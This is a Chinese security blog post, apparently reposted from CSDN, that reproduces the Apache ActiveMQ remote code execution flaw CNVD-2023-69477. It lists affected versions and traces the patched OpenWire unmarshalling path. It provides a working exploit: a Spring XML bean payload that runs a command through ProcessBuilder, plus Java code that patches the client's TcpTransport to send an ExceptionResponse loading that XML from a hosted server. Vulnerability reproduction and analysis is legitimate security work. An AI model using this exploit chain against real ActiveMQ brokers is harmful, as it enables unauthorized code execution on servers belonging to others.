0


漏洞复现-Apache ActiveMQ RCE漏洞复现(CNVD-2023-69477)

1.漏洞描述

ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。

Apache ActiveMQ 中存在远程代码执行漏洞,Apache ActiveMQ在默认安装下开放了61616服务端口,而该端口并没有对传入数据进行适当的过滤,从而使攻击者能够构造恶意数据以实现远程代码执行。

请关注厂商的修复版本,并及时更新到最新版本。

2.影响范围

Apache ActiveMQ < 5.18.3

Apache ActiveMQ < 5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16

3.poc

<?xml version="1.0" encoding="utf-8"?>

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">

    <constructor-arg>

      <list>

        <value>open</value>

        <value>-a</value>

        <value>calculator</value>

      </list>

    </constructor-arg>

  </bean>

</beans>

4.漏洞复现

python启动web服务,将poc放入pom.xml文件中

修改poc并执行

5.漏洞分析

我们先看补丁

https://github.com/apache/activemq/blob/1d0a6d647e468334132161942c1442eed7708ad2/activemq-openwire-legacy/src/main/java/org/apache/activemq/openwire/v4/ExceptionResponseMarshaller.java

发现新增类OpenWireUtil加入了validateIsThrowable方法

然后经过⼀些简单的搜索可以发现

ExceptionResponseMarshaller

这个类, 它是

BaseDataStreamMarshaller

的⼦类

tightUnmarshal/looseUnmarshal

⽅法会调⽤

tightMarshalThrowable/looseMarshalThrowable

, 最终调⽤到

BaseDataStreamMarshaller

createThrowable

⽅法, 后者可以调⽤任意类的带有⼀个

String

参数的构造⽅法

ExceptionResponseMarshaller

顾名思义就是对

ExceptionResponse

进⾏序列化/反序列化的类

ExceptionResponse

的定义如下

回到上⾯的

BaseDataStreamMarshaller

有若⼲

Marshal/unmarshal

⽅法

这⾥以

tightUnmarsalThrowable

为例

⽅法内部会获取

clazz

message

, 然后调⽤

createThrowable

找到对应的

tightMarshalThrowable
o

就是

ExceptionResponse

⾥⾯的

exception

字段 (继承了

Throwable

), 然后分别将

o

className

message

写⼊序列化流

到这⾥思路其实已经差不多了, 我们只需要构造⼀个

ExceptionResponse

然后发给

ActiveMQ

服务器, 之后

ActiveMQ

会⾃⼰调⽤

unmarshal

, 最后触发

createThrowable

然后看看如何发送

ExceptionResponse

即可

简单
demo
package com.example;

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class Demo {

    public static void main(String[] args) throws Exception {

   

        ConnectionFactory connectionFactory = new

        ActiveMQConnectionFactory("tcp://localhost:61616");

        Connection connection = connectionFactory.createConnection();

        connection.start();

        Session session = connection.createSession();

        Destination destination = session.createQueue("tempQueue");

       

        MessageProducer producer = session.createProducer(destination);

        Message message = session.createObjectMessage("123");

        producer.send(message);

       

        connection.close();

     }

}

然后随便打⼏个断点试试 (注意在⼀次通信的过程中

ActiveMQ

marshal/unmarshal

⼀些其它的数据, 调试的时候记得判断)

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal()

先获取

dataType

, 然后根据它的值去

this.dataMarshallers

⾥⾯获取对应的序列化器

这个

dataType

其实对应的就是

Message

类内部的

DATA_STRUCTURE_TYPE

字段 在

demo

中我们发送的是⼀个

ObjectMessage

(

ActiveMQObjectMessage

) 对象, 它的

dataType

26

ExceptionResponse

dataType

31

, 对应上图中的

ExceptionResponseMarshaller

获取到了对应的序列化器之后, 会调⽤它的

tightUnmarshal/looseUnmarshal

⽅法进⼀步处理

Message

内容

ExceptionResponseMarshaller

也有

marshal

⽅法, 所以思路就改成了如何去发送⼀个经由这个

marshaller

处理的

ExceptionResponse

后⾯开始调试

client

发数据的过程

OpenWireFormat

marshal

系列⽅法打个断点

调⽤栈往前翻可以找到

TcpTransport

这个类

它的

oneway

⽅法会调⽤

wireFormat.marshal()

去序列化

command
command

就是前⾯准备发送的

ObjectMessage

, ⽽

wireFormat

就是和它对应的序列化器

那么我们只需要⼿动

patch

这个⽅法, 将

command

改成

ExceptionResponse

, 将

wireFormat

改成

ExceptionResponseMarshaller

即可

在当前源码⽬录下新建⼀个

org.apache.activemq.transport.tcp.TcpTransport

类, 然后重写对应的逻辑,这样在运⾏的时候, 因为

classpath

查找顺序的问题, 程序就会优先使⽤当前源码⽬录⾥的

TcpTransport

然后是

createThrowable

⽅法的利⽤, 这块其实跟

PostgreSQL JDBC

的利⽤类似, 因为

ActiveMQ

⾃带

spring

相关依赖, 那么就可以利⽤

ClassPathXmlApplicationContext

加载

XML

实现

RCE
public void oneway(Object command) throws IOException {

  this.checkStarted();

  Throwable obj = new

  ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");

  ExceptionResponse response = new ExceptionResponse(obj);

  this.wireFormat.marshal(response, this.dataOut);

  this.dataOut.flush();

}

因为在

marshal

的时候会调⽤

o.getClass().getName()

获取类名, ⽽

getClass

⽅法⽆法重写 (

final

), 所以我在这⾥同样

patch

org.springframework.context.support.ClassPathXmlApplicationContext

, 使其继承

Throwable

标签: 安全

本文转载自: https://blog.csdn.net/xuandao_ahfengren/article/details/141111776
版权归原作者 玄道网安 所有, 如有侵权,请联系我们删除。

“漏洞复现-Apache ActiveMQ RCE漏洞复现(CNVD-2023-69477)”的评论:

还没有评论